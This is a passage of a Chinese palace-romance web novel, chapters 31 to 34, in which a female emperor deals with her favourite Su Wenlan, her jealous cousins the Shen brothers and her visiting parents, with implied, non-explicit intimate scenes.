他说:“臣信不过……沈太医。”
沈锐?
陆玄珍眼底闪过一丝惊愕,怎么可能?
31. 第 31 章
陆玄珍反应过来:“你的意思是表兄在药里做了手脚,想要害你?”
苏文澜闷着头没吭声。
她替沈锐辩驳。
“朕同表兄一起长大,他的为人朕再清楚不过,他绝对不可能害人,你多心了。”
“陛下既然相信沈太医,何必再来问臣,只管把臣当作是心胸狭隘的小人便是。”
苏文澜抬起头眼。
他的唇边还挂着几滴血珠。
是先前陆玄珍咬破的,这会已经凝住,立在瑟瑟寒风中,和它的主人一样倔强。
陆玄珍愣了愣。
看到他这样子,心里说不出是什么滋味,过了好一会才道:“此事朕会亲自查明。”
苏文澜浅浅嗯了一声,依旧是那副神情。
她瞧着有些窝火。
“苏文澜,知道自己错哪了吗?”
苏文澜站在风里,就那样看着她。
他咬着下唇,眼底湿漉漉的,里面似乎写满了委屈与不解。
就因为他说沈锐心术不正?
可沈家两兄弟的确表里不一。
他是虚伪,但也比这二人要光明磊落的多。他想要陛下的宠爱,就去争去抢。
这两人明明也存了这样的心思。
尤其是沈锐,却偏要故作清高,端着架子不肯放下,又看不惯别人得宠。
刚种下的动情蛊,因迟迟得不到安抚,这会已经变得躁动,苏文澜气息也开始变得不稳。
他死死咬着下唇,努力克制着。
可在陆玄珍看来,他这是在挑衅。
那股堵在心口上不去也下不来的火,这下终于上来了。
她冷声质问:“苏文澜,是不是朕平日太宠着你了?”
所以才会这般不知轻重。
“臣不该多心,不该怀疑沈太医,也不该出宫找郎中……”
苏文澜语气听着很是勉强。
陆玄珍要的不是这个。
刚要发作,一只手突然揽住她的腰,将她整个人抵在墙上,炽热的气息扑面而来,接着是一阵铺天盖地的吻。
“陛下,求您您不要再生气了,只要您不生气,怎样罚臣都好。”
苏文澜微微喘着粗气。
陆玄珍嗤笑一声。
抬起手在他脸上轻轻拍了拍:“你还是不知道错。”
“陛下……”
苏文澜低头蹭了蹭她掌心,哑声哀求:“到底怎样您才能原谅臣啊?”
他的脸烫得吓人。
陆玄珍手下意识往后缩,即将抽离的那刻她又重新抚回去。
“原谅你?”
她定定注视着这张熟悉又陌生的脸,轻声呢喃。
一想到他身体里流淌着的,是和太傅同样的血,千般责怪、万般怒火也都随风散去。
她爱他啊。
她真的很想他,他走以后每个难以入眠的深夜,她都要靠另一个人的体温获取片刻慰藉。
她的丈夫,她的爱人,她的挚友,她的知己,她的……太傅。
风雨同舟,共赴白首。
执子之手,与子偕老。
他们原本会有很好的一生。
他们还会有一个女儿,她身体里流淌着两人的血脉,承载着两人的意志,带领大周王朝继续走向未来。
陆玄珍捧起他的脸。
她就这样静静地看了他很久、很久,久到天空又开始飘雪,久到手指被冻到僵直。
一个承载了无数思念的吻,落在了他的眉心。
她闭上双眼:“好,朕都原谅你。”
朕原谅你了,太傅。
原谅你突然离开,原谅你没给朕留下只言片语,原谅关于你的所有。
只要你别离开朕。
陆玄珍一寸一寸往下,吻过他的鼻梁,他的鼻尖,最终停在了他唇间。
她疯狂又眷恋地汲取着他的温度。
“朕要你。”
思念炽热,如炎炎烈火。
皑皑雪地,青碧与明黄相缠,缠绵缱绻,几欲融为一体。
-
自从回宫以后。
沈统一直盼着苏文澜不举失宠的好消息,可等来等去,什么都没有。
不止如此。
陛下不知为何还对他大哥起了疑心,竟不允许沈锐再给苏文澜诊治。
那冒牌货也很反常,和他大哥先前说的一点都不一样。
不止面色一日比一日好,人也不似从前那般清瘦,瞧着倒是有福了。
可他大哥依旧和往日一样,不慌不忙地晒药、捣药、熬药、抄医书。
一点都不急。
沈统再也坐不住了。
他冲进太医院抓着沈锐质问:“大哥,你是不是一直在骗我?”
沈锐不紧不慢抬起眼,弯起眼:“小统,快过年了。”
“什么过年不过年?你以为这样下去,我们还有好年过吗?大哥,都这样了,你还这样无动于衷吗?”
沈统噼里啪啦说了一大通。
沈锐放下手中未分好的药,朝外走去,沈统紧紧跟在后面。
直到走入僻静游廊中,他才停下。
“小统,过完年就该开春了。”
沈统迷茫看着他:“开春又能怎样?莫不是开春他就能失宠了?”
“……开春后就是春闱了。”
“那与我们有什么关系?”沈统大大咧咧道,无所谓的样子看起来令人十分火大。
沈锐扯了扯嘴角:“反正这段时间你先安分点。”
“大哥,你到底是什么意思?”
沈统不依不饶追着人问,直到把人问到彻底不耐烦,才问出个答案。
沈锐:“民学、科举触碰的可是世家利益,你以为苏太傅是怎么死的?”
“你是说……”沈统瞪大双眼。
沈锐点点头,压着声音继续说。
“苏文澜又想做宠臣,又想做贤臣,也要看看那些世家答不答应。到底是忠于陛下,还是忠于世家,他只能选一个。”
沈统担心:“那他会不会……伤害到陛下?”
沈锐嗤笑一声:“他既伤不到陛下,也拧不过家族,所以无论怎么选,他都是死路一条。那个容黛你查过了吗?是不是苏氏派来的?”
“你怎么知道?”
沈统咬牙切齿道:“那个容勇是金吾左卫下的一个百户,金吾左卫指挥使虽是陆氏的人,但副指挥史却是苏氏姻亲的远亲。”
“这种八竿子都打不着的关系,若不有心留意,根本无从察觉!”
沈锐抬手拍了拍他肩。
“所以小统,稍安勿躁,只要我们一直站在陛下这边,不愁找不到机会。”
“可、可……”<
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沈统还是觉得哪里怪怪的,又说不上,好半天才憋出句话:“可我们就这样干看着他小人得志?”
“那你想做什么呢?”沈锐问。
沈统:“我要给他点颜色看看,让他明白不是什么阿猫阿狗都配留在陛下身边。”
“又想抄书了?”
沈锐轻飘飘的语气,好似在嘲讽他之前的无能。
沈统眯起眼,幽幽道:“我还没蠢到要亲自动手,给人留下把柄。”
-
三日后,宁寿宫。
保养得当的中年美妇靠在罗汉床上,身旁凌厉的男子正将剥好葡萄一粒粒送入她口中。
沈统端坐在木凳上,规规矩矩冲上面喊了声:“姨母。”
全不似往日那般不拘小节。
太上皇后转过脸看他,笑着问:“小统怎么来了?你不是在盈盈身边当差吗?”
“姨母,陛下还未下朝。”沈统说。
太上皇用帕子轻沾太上皇后嘴角。
同时转头冲着沈统板下脸,冷声斥责:“现在长本事了,敢擅离职守。”
沈统缩了缩脖子:“姨、姨父,我只是着急见您和姨母。”
“好了阿慎,不要吓小统。”
太上皇后握住太上皇的手,温温柔柔道:“算起来我们也有很久没回来了,小统来得正好,可以跟我们说说宫里发生的事。”
太上皇捏了捏那只手,没再说话。
沈统长舒一口气:“姨父、姨母,这几个月发生了不少事……”
他从东海匪患讲到江州水灾,最后是改制变法与太傅遇刺身亡,陆玄珍悲痛至极,与苏太傅牌位成婚。
“人死不能复生。”
太上皇后听完轻叹一声,又道:“这些日子你哥在做什么?可有陪着盈盈身边?”
她从前便看好沈锐。
沈锐性子稳重又事事妥帖,由他来伺候陆玄珍再好不过,如今皇夫一位空置,她自然有所意动。
沈统等的就是这句,他垂首道:“大哥没有陪在陛下身边。”
太上皇后脸色变得有些难看。
“那就是你陪的了?”太上皇问。
虽然他瞧不上沈统,但更瞧不上沈锐、苏太傅这般儒雅文人。
沈统咬着牙:“……也没有。”
“怎么回事?”太上皇、太上皇后同时问道。
沈统狠狠添油加醋了一番。
“陛下与太傅大婚次日,宫里来了位新人,是太傅本家的堂弟,名唤苏文澜。”
“自从这个苏文澜进了宫,陛下就被彻底迷了心神,不仅将民学一事全权交于他,封他为太学博士,更是与他夜夜笙歌。”
“最过分的那次,更是一夜叫了五回水。还有冬狩的时候,他在温泉都不忘勾引陛下……”
太上皇后好奇起来。
“那他到底有什么本事?”
沈统顿了顿:“等您、您见了就清楚了,那苏文澜活脱脱就是……”
第二个苏太傅。
这是太上皇后见到苏文澜后的第一印象。
“你就是苏文澜?”
太上皇后细细打量起跪在地上的年轻男子,眉心微皱。
“是,臣苏文澜见过太上皇后、太上皇,太上皇后万福,太上皇万福。”
苏文澜额头轻触地面,恭敬跪拜。
32. 第 32 章
“从前倒是没人听说过你。”
太上皇后侧身看向一旁的太上皇。
“瞧着不像是堂兄弟。”
“这个也不重要,能哄盈盈开心,是他的福气。如今盈盈正值风华,留他在身边也无伤大雅。”
太上皇与太上皇后肆意谈论着,完全忽视还跪在地上的苏文澜。
坐在木凳上的沈统扬起下巴。
对于被当成东西来掂斤估两。
苏文澜并不难过,这件事在他看来是理所应当的,一切都是这样的。
无论是他,还是苏太傅,亦或是沈锐、沈统,每个人都是被标过价的。
只是贵贱不一样而已。
他是不如苏太傅贵,但也不见得比沈氏两兄弟要贱。他会证明自己有用,他会留在陛下身边。
苏文澜听着太上皇与太上皇后聊天,那种轻松随意的语气令他倍感疑惑。
没有谁在刻意讨好谁。
他又想起陆玄珍讲过的话。
太上皇和太上皇后两人很相爱,所以,这就是爱吗?
他想得入了神,连膝盖上的痛都没注意到,安安静静跪在地上。
直到门口传来陆玄珍的声音。
“父皇、母后,你们回来了!”
陆玄珍大步奔来,脸上笑意在看到地上那人瞬间凝住。
她下意识伸手拉起了苏文澜,把他护在身后。
“盈盈,到母后这里来。”
太上皇后招了招手,示意她坐到罗汉床的另一侧。
陆玄珍犹豫了下,还是松开了手。
同时却不忘回头叮嘱:“文澜,你自己去搬个木凳过来坐。”
她坐好后才注意到另一侧木凳上的沈统:“朕说怎么在御书房没见到你,原来是跑到母后这里来了。”
沈统低了低头,没吭声。
“你别怪小统。”
太上皇后主动接过话:“他是个好孩子,就是性格直率了些,不懂什么弯弯绕绕。”
陆玄珍垂下眼盯着手指。
过了许久,才出声:“……阿辞走了。”
太上皇后顿了顿,伸手握住她。
柔声安慰道:“人死不能复生,盈盈,这些世家经营多年,朝中势力盘根错节,不是一朝一夕就能解决的,不如先缓缓。”
“母后,如果是之前,朕可以不急,但现在这个法朕是非变不可!”
他们敢对苏太傅下手,就是公然挑衅她这个皇帝。
太上皇:“你想做什么就放手去做,父皇给你留下的那十万精锐也不是摆设。”
“阿慎你……”
太上皇后侧身看了眼,终是长叹一声:“盈盈你身边的守卫也要加强。”
她只有这么一个女儿。
“母后放心。”陆玄珍说。
说话间,苏文澜从外面搬了个木凳回来,坐到了陆玄珍手边。
陆玄珍回头看他眼,脸色一柔。
温声介绍道:“父皇、母后,这是苏文澜,新上任的太学博士。”
太上皇后点头,面色自然。
“小统方才都说过,他是苏太傅的堂弟,看着倒是一表人才。”
“文澜博学多识又与朕志同道合,能得此才,乃大周之幸……”
陆玄珍毫不吝啬对苏文澜的夸赞,谈起他,话多到如同滔滔江水。
太上皇后一一应着。
等陆玄珍说完,她才微笑道:“盈盈,母后想和你单独待会儿。”
陆玄珍犹豫了会,应允下来。
太上皇、苏文澜、沈统三人去了宁寿宫外面,大殿里只剩下母女二人。
太上皇后:“盈盈,那个苏……”
“小统都说什么了?”陆玄珍咽了咽喉咙。
“都说了。”
“都、都说了?”
包括他们是如何颠鸾倒凤,如何不知天地为何物的那些事,都说了?
太上皇后浅浅嗯了声。
陆玄珍耳根腾得一下红了,就听到她母后继续问:“睡了多久了?”
她回:“也没多久,不到两个月。”
太上皇后又问:“多久睡一回?”
陆玄珍犹豫了下,含糊道:“除了那几天不睡,平时一天也就两三回。”
“一天两、两三回?”太上皇后忍不住倒吸一口凉气。
陆玄珍头压得更低了。
“你、你你叫我说什么好!”
太上皇后恨铁不成钢瞪她眼。
她怎么就生了个这样贪色的女儿,哪天她非得累死在男人身上。
陆玄珍缩缩脖子:“太多了吗?”
可她也没任何不适,她想要,苏文澜也乐意给,这也没什么不好吧。
“难道这还少吗?”太上皇后反问。
而且看陆玄珍这样子,绝对没有说实话,两三回估计还是保守了的,沈统刚刚不也说了,他们有时候一夜要叫五回水。
陆玄珍声音越来越小。
“这也没什么吧……”你情我愿的。
太上皇后长叹一声:“母后真是拿你没办法了,那个苏文澜就这么好?天天睡还睡不够?”
“嗯。”陆玄珍只觉脸上一热。
“只睡过这一个吗?”
太上皇后仔细琢磨起来,若能有人比较,女儿或许就不会痴迷于一人。
“还有一个……”
“谁?“
陆玄珍顿了顿,道:“苏太傅。”
她在太傅面前素来守礼,只那一次,也幸好有那一次。
太上皇后面上有些无奈。
沉默了好一会才开口:“……那个苏文澜伺候的可还周到?”
“嗯。”陆玄珍脸上烧得厉害。
要是苏文澜不好,她也不能一有空就想着他。
太上皇后深吸了口气:“或许母后不懂你们习武之人,但也不能这样放纵,你是皇帝,他自然想要顺从你、讨好你,可这般不加节制,也非良臣所为。”
“并非是母后看不惯苏文澜,他同你之间没有什么情分,恐怕只是为了攀附权势,你要有所提防。”
陆玄珍张了张嘴。
想要说点什么,潜意识却又觉得她母后说的也不是没有道理。
太上皇后又道:“睡归睡,你要实在喜欢,母后也不拦你。但不要纵欲伤身,也不要这么早就怀上孩子。”
“母后放心。”陆玄珍应下。
“沈氏二人与你一同长大,素来忠心。若是将来你想要孩子,任择其一都好过同苏文澜。”
太上皇后语重心长。
陆玄珍拿起茶盏,放在嘴边轻轻吹了口:“母后,这个就不必您费心了。”
“难道你还真打算和苏文澜生?”
太上皇后震惊。
她手上动作一顿。
“母后,朕最遗憾的就是没有一个流着苏太傅血脉的孩子。”
“可他也只是像苏太傅,不是真的苏太傅啊!”太上皇后道。
陆玄珍抿唇:“这么像就够了。”
“那这孩子生
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下来算谁的?”
“记在苏太傅名下,自然是朕与苏太傅的。”
“打算什么时候生?”
“等苏文澜身子调养好。”
“……那叫敬事房备好东西,每次都要记得用,你也别嫌麻烦。”
太上皇后痛心疾首地闭上双眼。
她只盼姓沈那两兄弟再争气些,那苏文澜实在是个祸水。
陆玄珍站起身准备往外去。
太上皇后听到一旁窸窣的声音,连忙睁开眼:“盈盈!”
“母后?”陆玄珍停下来看她。
她母后好像还有什么话想和她说。
“那个……”
太上皇后顿了顿,咬着牙开口:“要不你再多试几个呢?”
“试什么?”
“男人啊。”
“这个就挺好。”
模样好,身材好,活儿也好。
就是再换多少个,估计也不如这一个让她顺心。
太上皇后忍不住劝:“你再想想,再好好想想,你还年轻,别这么急。”
陆玄珍随口应付了句,朝外走去。
-
殿外。
太上皇毫不掩饰审视的目光,直直盯着苏文澜看。过了一会,突然他往前几步,按了按苏文澜肩膀。
“已经侍过寝了?”
沈统站在后面等着看好戏。
苏文澜从容回道:“是。”
太上皇脸色一沉,同时手上力道微微加大,苏文澜身子不由晃动了下。
他嗤笑一声:“盈盈怎会喜欢这样的?”
沈统在太上皇身后得意挑眉。
还不忘秀一下自己浑身的腱子肉,他可不白练,早晚有一日陛下定能欣赏到。
太上皇继续发难。
“多久侍寝一次?每次侍寝多长时间?可有让盈盈不满的地方?”
苏文澜一个个挨着回。
“回太上皇的话,臣基本上每日都要侍寝,每次至少两个时辰,没有让陛下不满的地方。”
“两个时辰?”
太上皇怀疑打量着苏文澜。
就他?一炷香都是抬举他了!
苏文澜肯定:“对,两个时辰。”
其实这还是保守了。
两个时辰顶多来两回,陆玄珍体力好,他又作弊,两个人有时候缠绵到天明也是常事。
沈统在一旁听得目瞪口呆。
尽管早有耳闻,但远不及亲耳所听来的震撼。
就在太上皇想要张口再说点什么时,陆玄珍和太上皇后从殿里出来了。
陆玄珍走到苏文澜身旁,很自然地牵住他的手,仰头看向太上皇。
“父皇,文澜的才学是不是很好?”
“……嗯。”太上皇幽幽应了声,走到了一旁太上皇后的身旁。
太上皇后脸色也不是很自然。
陆玄珍对此毫无察觉。
藏在衣袖下的手悄悄勾了勾苏文澜手指,再抬头一看,顿感赏心悦目。
眉眼都笑得弯弯。
太上皇后和太上皇对视一眼后。
她清了清嗓子:“盈盈,我们这么久没见,明晚在宫里办一场家宴吧。”
陆玄珍欣然应下:“好啊。”
然后拉着苏文澜啪塔啪塔地跑走了,此地只留下太上皇夫妇和沈统。
沈统望着两人远去的背影。
原本得意的嘴角一下弯下来,垮着脸委屈道:“姨母、姨父,那个苏文澜真是太不像话了!”
33. 第 33 章
“……是不怎么像话。”
“你和你哥,就没一个争气的吗?”
太上皇和太上皇后同时出声。
沈统愣了愣,头垂下去。
“姨母、姨父,也不是我和我哥不想争气,实在是、实在是那个苏文澜迷惑了陛下,您们刚刚也瞧见了,他有多嚣张……”
太上皇后:“恐怕再过些日子,盈盈得把人宠到天上去。”
太上皇站在一旁冷眼看着。
一听这话,沈统急得脸都红了。
“姨母,您、您就帮帮我吧,我也没有旁的心思,只是实在不忍心让陛下为奸人蒙蔽啊。”
-
陆玄珍领着苏文澜回了养心殿。
一进寝殿,她就伸出双手环住了他的腰,把脸埋在他胸前蹭了蹭。
“文澜,父皇和你说什么了?他没有为难你吧?”
她顺手捏了捏他腰上软肉。
苏文澜呼吸立马重了几分。
“陛下,太上皇问臣有没有把您伺候好,平日都是如何伺候您的。”
陆玄珍手上动作一顿。
抬起眼看着他,漫不经心问:“那你是怎么回的?”
“臣不敢有所欺瞒,如实禀告了太上皇。”
苏文澜垂下眼,轻轻动了下身子,把后腰贴在那只手上。
听到这话,她耳根一烫,脸上更是通红一片。母后、父皇,都知道了?
陆玄珍还是不死心。
她挣扎道:“你把原话给朕说一遍。”
苏文澜稍作犹豫,把他同太上皇在殿外的对话如实学了一遍。
绘声绘色,一字不差。
陆玄珍顿时又气又恼,抬手就往他腰上掐,嘴里同时还骂着。
“你、你真是气死朕了!”
“什么都说,你怎么什么都敢和父皇说?”
一想到殿外除了父皇和苏文澜,还有沈统,她更是羞愤交加。
伸手又去捏他的嘴。
苏文澜也顺着她。
任其搓圆捏扁,直到看她气撒得差不多了,才把脸埋进她脖子。
“这也不是什么见不得人的事。”
“陛下年轻,我们这般……也不过是人之常情。”
他一点点往上,又轻又慢。
直到怀里人被他吻得浑身发软,炽热的呼吸喷在脸上。
“陛下,都是臣不好。”
苏文澜哑着嗓子,明明眼底墨色翻涌,却还是规矩从她怀中抽离,走到桌前沏茶。
陆玄珍那点气早消了。
被他这么一挑拨,眼梢染着薄红,眸底如桃花浸水。
见他突然离开,下意识伸手挽留,却连一片衣角都没抓住。
她正欲发怒,手里多了杯茶。
苏文澜眉眼乖顺站在前面。
“臣给您赔罪。”
陆玄珍咽了咽喉咙,接了过来。
指尖不经意触碰到对方的皮肤,她余光偷偷瞥了眼,见他面色如常,一下黑了脸。
她抿了口茶,故作轻松。
“好了好了,这段日子就先消停点,等过了年父皇母后就要出宫了,到时候再说。”
苏文澜接过她手中茶杯,放到桌上后,又转身走回来。
缓缓蹲下身,伏在了她膝上。
“臣都听陛下的。”
明明处处迎合着她,但一瞧见他这温顺模样,陆玄珍就气不打一处来。
他怎么就如此风轻云淡呢?
陆玄珍又伸出手去捏他脸。
却在经过他唇间时,被迫停住了。
他的唇轻轻贴住她指尖。
从指尖到手指,到手背,再到手心,温热呼吸喷洒在经过的每一处肌肤。
她头皮一阵酥麻,舌尖下意识顶住了上颚,余光瞥见窗外尚亮的天色,顿时惊道:“你、你在干什么?”
可那只手却还不舍得拿走。
苏文澜亲了亲她手心。
抬眼看她:“您不想吗?”
陆玄珍咽了咽喉咙,眼神一暗。
嘴上却说:“现在天还没黑,万一等会父皇母后过来找朕……”
“那臣快一点。”
“敬事房也没准备东西。”她又说。
苏文澜把脸贴在她手上。
轻轻吹了口气:“臣不用。”
“不用什么?”陆玄珍脑子一时没反应过来,呆呆看着他。
只听身前传来阵阵低笑声。
他面色绯红,眼含春水。
却说:“臣服侍您的法子,可不只那一种。”
陆玄珍愣了愣,好半晌才问出一句:“……那你呢?”
她早已习惯了与他共登极乐。
眼下这般。
莫名让人感到陌生。
她抬起手想要去摸他的脸,手指却停在半空。
“臣怎样都好啊。”
苏文澜笑吟吟回答,风轻云淡,好似在说今日天气不错。
她停在半空的手指微微颤了下,缓缓落在他眼尾那颗小痣上。
他是苏文澜。
苏文澜如今拥有的,都是她给的。
所以,无论她想怎样对他,他都应该欣然接受。
所以,从他决定出现在她生命中那刻起,就应该做好所有的准备。
陆玄珍压下心口陌生的感觉,低下头看着他眼睛。
“好啊。”她说。
床幔轻摇,人影绰绰。
陆玄珍眼神变得迷离。
恍惚间好像回到了醉心湖里的小舟上,也好像回到了苏文澜第一次侍寝的那日。
她抓在床头那只手微微晃动。
骨节泛白,手背青筋微凸,似乎在克制着什么。
风温柔抚过,原本平静的湖心荡起阵阵涟漪,轻轻拍打在小舟上。
一下,一下,一波未平一波又起。
船上之人怀抱琵琶,动情弹奏,轻拢慢捻抹复挑。
切切私语,嘈嘈急雨。(注)
“陛下……”苏文澜眼睫轻颤。
陆玄珍单手扣住他的后颈,重重呼出一口气:“唤朕盈盈。”
苏文澜愣了愣:“……什么?”
她喘得很急,重复道:“唤朕盈盈。”
盈盈,乃是她的小字。
只有亲近之人可唤,无论从前两人如何耳鬓厮磨,她从未让他这般唤她。
可今日陆玄珍突然很想听。
她总觉苏太傅从未真正离去,他未完成的事业还在继续,他还在无微不至照顾着她。
是苏文澜还是苏太傅,好像也没什么区别。
她真心喜爱,就够了。
苏文澜一瞬乱了呼吸:“盈盈。”
陆玄珍手指温柔拂过他眉眼,轻拭去他眼角湿意,缓缓闭上双眼:“再喊。”
苏文澜仰面注视着她,眉宇间流转着无尽柔情,一遍一遍唤着她小字。
直至她意乱情迷,才敢袒露心扉。
“我爱你,盈盈。”他小声又认真。
他的爱或许起于对名利的渴望,又或许他根本不懂爱。
可他想把这种感情称作为爱。
他很爱陆玄珍,爱她,也爱她带给
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他的一切风光。
大周第一宠臣,科举改制先驱。
名扬天下,名垂青史,他苏文澜再也不是那个可怜又凄惨的无名小卒了。
苏文澜从不介意自己是个替身。
他不屑同一个死人去争抢什么,他只要好好活着,陪她走过这段风雨,同舟共济。
他的陛下。
他爱他的陛下。
-
次日傍晚,家宴如期举行。
太上皇、太上皇后自然都在,此外还有沈锐、沈统兄弟二人,以及他们的母亲老沈夫人。
陆玄珍带着苏文澜款款而来。
众人神情各异,却心照不宣装作无事。
“朕敬诸位。”
陆玄珍没着急落座,她举起酒杯,目光温柔扫过每个人的脸,莫名的情绪在心口蔓开。
好像大家都还在。
她将手中的酒一饮而尽,甜腻的桂花酿温和流过喉咙,她却下意识闭上双眼。
越热闹越孤独。
越糊涂越清醒。
假的成不了真。
陆玄珍眨了眨眼。
眼眶湿润被风吹干,眼角上扬一如往日神采。
酒过三巡。
最先不胜酒力的人竟是沈统。
他不似往日朝气蓬勃,英气的眉宇意外染上几分失落与颓败。
“小统不要再喝了。”沈锐从旁劝。
沈统置若罔闻。
依旧一杯接一杯,扬头将杯中酒悉数倒入口中,溢出的晶莹水滴顺着清晰的下颌缓缓淌落。
他双目失神,怔怔望向前方,空洞眼底染上一层雾气,衬得他整个人都灰蒙蒙。
全不见从前鲜衣怒马少年郎。
沈锐夺走他手中酒杯,见他要抢,不由对其怒目而视。
“你醉了。”
“……抱歉,我失态了。”
沈统放下手,乖乖坐回去。
他低着头,脸上表情不知是哭是笑,整个人周身弥漫着阴郁悲伤。
陆玄珍注意到他们这边动静。
她看过去:“表兄、小统,你们怎么了?”
沈锐平静解释:“陛下,小统不胜酒力,有些醉了。”
“醉了?”她诧异。
沈锐继续道:“他今晚高兴,喝得有些多。”
陆玄珍将信将疑点了点头。
“他酒量一向不错,今晚都是花酒、果酒,还能把他给喝醉了?”
沈锐脸上露出恰到好处的不解。
“可能是因为许久未喝了吧?”
太上皇后笑着看向身旁:“小统这孩子,还是和小时候一样,一点都没变。”
老沈夫人满脸嫌弃:“还是这么不懂事。”
“好了好了。”
太上皇后连忙打断,冲沈锐使了个眼色:“你快送小统下去休息吧。”
沈锐应下,垂首扶着身形有些摇晃的沈统先行告退。
苏文澜抬头看了眼。
他今晚也喝了些酒,意识却比平日更加清醒,眼底闪过一抹警觉。
“陛下,时候不早了。”
苏文澜起身走到陆玄珍身旁低声提醒。
一阵清冷的墨香钻入鼻尖。
陆玄珍手指微僵,许久才道:“好。”
-
回养心殿后。
苏文澜出去准备醒酒汤,陆玄珍躺在床上闭眼小憩。
门口突然传来一阵细微响动声。
陆玄珍抬眼看去,昏黄烛光映照出一张令她意外的脸。
“小统,你怎么在这?”
34. 第 34 章
沈统走到床前,缓缓蹲下身子。
深邃的眼眶落下一片阴影,恰好遮住眸底清明。
“陛下……”他轻轻唤了声。
陆玄珍挑起眼看他:“小统?”
沈统周身弥漫着一股淡淡的忧伤,不似往日潇洒直率。
“苏文澜真有那么好吗?”
陆玄珍抿抿嘴,还未来得及说话,就听沈统继续说。
“您真的喜欢苏文澜吗?臣和哥哥到底哪一点比不上他了?他能为您做的臣一样能,臣只会比他做的更好,更尽心。”
“陛下,您能不能……”
沈统顿了顿,又道:“能不能也看看臣啊?”
陆玄珍酒顿时醒了几分。
莫名情绪涌上来,心口说不出的烦闷:“小统,你醉了。”
“陛下,臣没醉!臣现在比以往任何时候都要清醒。”
“小统——”她蹙起眉。
沈统把膝盖往前挪了挪:“陛下,臣不信您不知道臣与哥哥对您的心意。”
朦胧烛光下,陆玄珍隐约看到了沈统发红的眼眶,似乎委屈到快要哭出来了。
她张张嘴,训斥的话又咽了回去。
“臣对您的爱,不比太傅与哥哥少半分,只是、只是他们珠玉在前,您看不到臣也自然。”
“您宠着谁臣都没有半句怨言,可您能不能不赶臣走啊?”
沈统贴在地上,宽厚的肩膀抖得厉害。
陆玄珍抬手揉了揉太阳穴:“朕什么时候说要赶你走了?”
“您先前说等过了年就把臣送到军营。”沈统小声说。
“实在不想去就不去,朕只是觉得你留在宫中当个侍卫未免有些大材小用,凭白埋没了人才。”
陆玄珍的头有点痛。
沈统闷闷嗯了声:“谢陛下。”
“朕有些醉了,你下去吧。”陆玄珍闭上眼,总感觉隐隐忘了什么。
许久,她并未听到沈统起身离开的声音,又强撑着睁开眼,沈统依旧保持那个姿势跪在原地。
“小统,怎么还不走?”
“陛下,臣、臣还有话想和您说。”
沈统鼻音很重,重的奇怪到都不像他了。
陆玄珍眯起眼。
“还有什么话想和朕说?”
“臣——”沈统踌躇开口。
她毫不留情打断:“抬起头说话。”
沈统身体一僵,还是听话抬起头,脸上凌乱的泪痕瞬间一览无余。
他哭了。
这是陆玄珍第一次见他哭。
在她记忆中,沈统素来要强,从未掉过一滴泪,哪怕是幼时从马上摔落躺了大半个月。
奇怪的情绪蔓上心口,万千询问的话堵在咽喉,最终化作一声轻叹。
“……怎么哭了?”
“臣爱您。”沈统说。
陆玄珍以为他没听清,语气一缓:“朕是问你怎么突然哭了。”
“臣爱您。”沈统重复。
她顿了顿:“好端端到底哭什么?”
沈统抬起头望向她,烛火在乌黑眸底跳跃,里面倒映出她的影子。
他一字一顿:“臣爱您,臣一直都爱您。”
“……爱朕就爱朕,回去睡觉。”
陆玄珍眼底流露出些许无奈,他酒量向来不错,没想到今夜竟醉到这种地步。
沈统眼底划过一丝受伤。
他痛苦闭上眼:“臣一直都不敢让您知道臣的心意,可今晚才发觉从前是臣错了,臣早该让您知道臣的心意。”
陆玄珍终于意识到沈统在伤心。
可她不懂他到底在难过什么?她处处为他前途考虑,为他铺了一条平坦宽阔的通天路。
少年英才,封侯拜相。
她抬手挑起他下巴:“你想让朕知道你的什么心意?”
沈统喉结滚了一下:“臣爱您。”
话落,安静的寝殿响起一声轻笑。
陆玄珍反问:“爱?你知道什么是爱吗?”
“臣当然知道。”沈统言之凿凿。
她随手在沈统头顶揉了几下,眼神怜爱又温和:“你不懂。”
“臣懂。”沈统急切道。
“小统觉得朕爱苏文澜吗?”
沈统犹豫:“……不爱?”
“那小统觉得朕爱苏太傅吗?”
沈统毫不迟疑:“爱。”
陆玄珍微笑着摇头。
“朕对苏文澜是宠,对苏太傅是爱,可这些都是因为朕需要他们。”
“需要?”沈统不太理解。
她耐心解释:“换句话来说,是对朕有用,朕仰慕太傅,也很依赖他,所以朕不愿意接受他已走了的事实。”
“那……苏文澜呢?”
沈统抬起一只手揉了揉眼睛。
陆玄珍语气一顿,随即坦然道。
“他有几分才学,能替朕分忧,还有就是他眉眼间与太傅有几分相似,能一解朕的相思之苦。”
和沈统讲话,她习惯把话揉碎了讲,要不然此人是绝对听不懂的。
另外她也信任沈统。
沈统有些高兴她承认苏文澜只是个冒牌货,但依旧不解。
“可、可您为什么不能接受臣的心意?臣什么名分都不要,只想伴您身侧。”
“你和他不一样。”陆玄珍见他这模样,又在他头上揉了一把。
沈统撇撇嘴:“是因为臣没有生得那般俊俏吗?”
陆玄珍戳了戳他的额头:“当然不是因为这个。”
“小统,无论你和表兄是否对朕有用,朕都不会舍弃你们,因为你们是朕的血亲,也是朕最信任的人,所以朕希望你和表兄都能有一番建树。”
“荡气回肠的情爱或许璀璨耀眼,可并非是一个人生命的全部,小统你……能听懂吗?”
她绝对不能失去表兄和小统。
这是太傅走后每个夜晚,她曾无数次想过的。
她甚至不切实际幻想过。
如果表兄、小统、太傅三人必定要有一人死掉,好像只有那一个选项。
这也是陆玄珍头一回意识到自己的薄情和冷漠。
她最爱的先是自己。
其次是亲人,最后才是爱人。
她不是爱情至上的人,更不是没了爱就不能活的人,她陆玄珍生来就是注定要做皇帝的人。
名垂青史、流芳百世乃至万世,是陆玄珍最看重的。
她从小就有壮志、有抱负。
沈统似懂非懂地点了点头:“臣……能听懂?”
陆玄珍摸了摸他胸口:“这里的伤好了吗?”
“好、好了。”沈统耳根爆红。
“真好了?”陆玄珍不信。
沈统点头如捣蒜:“真好了真好了,臣从小就皮糙肉厚,这点伤算什么。”
陆玄珍弯
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弯眼。
“那就好,刀剑无眼,你如此皮实朕以后也能放心。”
“陛下,您、您还要送臣去军营里吗?”
沈统一听立马慌了。
她拍拍沈统的肩膀。
“难不成你还真打算一辈子缩在宫里?来日史官编写史书,把朕的手足都写成懦弱无能之辈?”
沈统摇头如拨浪鼓。
“臣、臣不是懦弱无能之辈,可臣也不想离开陛下……”
“好了好了。”
陆玄珍躺回床上,翻了个身背对着沈统,赶人的意思再明显不过。
她闭上眼睛打发道。
“那就晚些时日再走,你只管听朕的,朕什么时候都不会害你。”
沈统盯着她的后脑勺看了许久,才沉声道:“臣退了。”
他起身朝外去,还在门口绊了下。
